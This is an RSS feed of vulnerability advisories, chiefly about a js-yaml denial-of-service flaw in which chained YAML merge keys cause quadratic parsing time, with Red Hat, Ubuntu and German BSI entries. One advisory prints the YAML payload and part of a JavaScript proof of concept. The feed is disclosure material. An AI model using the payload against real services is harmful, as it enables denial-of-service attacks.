<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 03 Oct 2026 12:02:00 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-335273</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-335273</link>
      <description>EUVD-2026-335273</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-335273</guid>
    </item>
    <item>
      <title>fkie_cve-2026-59868</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-59868</link>
      <description>&lt;p&gt;js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-59868</guid>
    </item>
    <item>
      <title>GHSA-g796-fgmg-93mv — js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-g796-fgmg-93mv</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: js-yaml&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default&lt;/p&gt;
&lt;p&gt;When merge keys (`&amp;lt;&amp;lt;`) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:&lt;/p&gt;
&lt;p&gt;```yaml
a0: &amp;amp;a0 { k0: 0 }
a1: &amp;amp;a1 { &amp;lt;&amp;lt;: *a0, k1: 1 }
a2: &amp;amp;a2 { &amp;lt;&amp;lt;: *a1, k2: 2 }
a3: &amp;amp;a3 { &amp;lt;&amp;lt;: *a2, k3: 3 }
...
b: *aN
```&lt;/p&gt;
&lt;p&gt;For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;From N = 4000 delay become &amp;gt; 1s (doc size &amp;lt; 100K)&lt;/p&gt;
&lt;p&gt;```js
import { performance } from &amp;#39;node:perf_hooks&amp;#39;
import { Buffer } from &amp;#39;node:buffer&amp;#39;
import { load, YAML11_SCHEMA } from &amp;#39;js-yaml&amp;#39;&lt;/p&gt;
&lt;p&gt;const n = Number(process.argv[2] || 4000)&lt;/p&gt;
&lt;p&gt;function makeMergeChain (count) {
  const lines = [&amp;#39;a0: &amp;amp;a0 { k0: 0 }&amp;#39;]&lt;/p&gt;
&lt;p&gt;for (let i = 1; i &amp;lt; count; i++) {
    lines.push(`a${i}: &amp;amp;a${i} { &amp;lt;&amp;lt;: *a${i - 1}, k${i}: ${i} }`)
  }&lt;/p&gt;
&lt;p&gt;lines.push(`b: *a${count - 1}`)
  return `${lines.join(&amp;#39;\n&amp;#39;)}\n`
}&lt;/p&gt;
&lt;p&gt;const source = makeMergeChain(n)&lt;/p&gt;
&lt;p&gt;console.log(source.split(&amp;#39;\n&amp;#39;).slice(0, 8).join(&amp;#39;\n&amp;#39;))
console.log(&amp;#39;...&amp;#39;)
console.log(source.split(&amp;#39;\n&amp;#39;).slice(-4).join(&amp;#39;\n&amp;#39;))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)&lt;/p&gt;
&lt;p&gt;const started = performance.now()
const result = load(source, { schema: YAML11_…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: js-yaml&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default&lt;/p&gt;
&lt;p&gt;When merge keys (`&amp;lt;&amp;lt;`) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:&lt;/p&gt;
&lt;p&gt;```yaml
a0: &amp;amp;a0 { k0: 0 }
a1: &amp;amp;a1 { &amp;lt;&amp;lt;: *a0, k1: 1 }
a2: &amp;amp;a2 { &amp;lt;&amp;lt;: *a1, k2: 2 }
a3: &amp;amp;a3 { &amp;lt;&amp;lt;: *a2, k3: 3 }
...
b: *aN
```&lt;/p&gt;
&lt;p&gt;For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;From N = 4000 delay become &amp;gt; 1s (doc size &amp;lt; 100K)&lt;/p&gt;
&lt;p&gt;```js
import { performance } from &amp;#39;node:perf_hooks&amp;#39;
import { Buffer } from &amp;#39;node:buffer&amp;#39;
import { load, YAML11_SCHEMA } from &amp;#39;js-yaml&amp;#39;&lt;/p&gt;
&lt;p&gt;const n = Number(process.argv[2] || 4000)&lt;/p&gt;
&lt;p&gt;function makeMergeChain (count) {
  const lines = [&amp;#39;a0: &amp;amp;a0 { k0: 0 }&amp;#39;]&lt;/p&gt;
&lt;p&gt;for (let i = 1; i &amp;lt; count; i++) {
    lines.push(`a${i}: &amp;amp;a${i} { &amp;lt;&amp;lt;: *a${i - 1}, k${i}: ${i} }`)
  }&lt;/p&gt;
&lt;p&gt;lines.push(`b: *a${count - 1}`)
  return `${lines.join(&amp;#39;\n&amp;#39;)}\n`
}&lt;/p&gt;
&lt;p&gt;const source = makeMergeChain(n)&lt;/p&gt;
&lt;p&gt;console.log(source.split(&amp;#39;\n&amp;#39;).slice(0, 8).join(&amp;#39;\n&amp;#39;))
console.log(&amp;#39;...&amp;#39;)
console.log(source.split(&amp;#39;\n&amp;#39;).slice(-4).join(&amp;#39;\n&amp;#39;))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)&lt;/p&gt;
&lt;p&gt;const started = performance.now()
const result = load(source, { schema: YAML11_…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-g796-fgmg-93mv</guid>
    </item>
    <item>
      <title>RHSA-2026:26994 — Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update</title>
      <link>https://cve.radiocsirt.org/vuln/rhsa-2026:26994</link>
      <description>&lt;p&gt;dotnet: .NET: Local file tampering via link following vulnerability dotnet: ASP.NET Core: Denial of Service via uncontrolled resource consumption ws: ws: Uninitialized memory disclosure via `websocket.close()` with `TypedArray` engine.io: Engine.IO: Denial of Service via crafted WebTransport session ID js-yaml: js-yaml: Denial of Service via quadratic CPU time parsing with merge keys js-yaml: js-yaml: Denial of Service via crafted YAML ordered-map document&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;dotnet: .NET: Local file tampering via link following vulnerability dotnet: ASP.NET Core: Denial of Service via uncontrolled resource consumption ws: ws: Uninitialized memory disclosure via `websocket.close()` with `TypedArray` engine.io: Engine.IO: Denial of Service via crafted WebTransport session ID js-yaml: js-yaml: Denial of Service via quadratic CPU time parsing with merge keys js-yaml: js-yaml: Denial of Service via crafted YAML ordered-map document&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/rhsa-2026:26994</guid>
    </item>
    <item>
      <title>UBUNTU-CVE-2026-59868</title>
      <link>https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-59868</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:18.04:LTS: node-js-yaml, Ubuntu:20.04:LTS: node-js-yaml, Ubuntu:22.04:LTS: node-js-yaml, Ubuntu:24.04:LTS: node-js-yaml, Ubuntu:25.10: node-js-yaml, Ubuntu:26.04:LTS: node-js-yaml&lt;/p&gt;
&lt;p&gt;js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:18.04:LTS: node-js-yaml, Ubuntu:20.04:LTS: node-js-yaml, Ubuntu:22.04:LTS: node-js-yaml, Ubuntu:24.04:LTS: node-js-yaml, Ubuntu:25.10: node-js-yaml, Ubuntu:26.04:LTS: node-js-yaml&lt;/p&gt;
&lt;p&gt;js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-59868</guid>
    </item>
    <item>
      <title>WID-SEC-W-2026-3221 — IBM App Connect Enterprise: Mehrere Schwachstellen</title>
      <link>https://cve.radiocsirt.org/vuln/wid-sec-w-2026-3221</link>
      <description>&lt;p&gt;Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise ausnutzen, um beliebigen Programmcode auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, vertrauliche Informationen offenzulegen oder Denial-of-Service-Zustände herbeizuführen.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise ausnutzen, um beliebigen Programmcode auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, vertrauliche Informationen offenzulegen oder Denial-of-Service-Zustände herbeizuführen.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/wid-sec-w-2026-3221</guid>
    </item>
  </channel>
</rss>
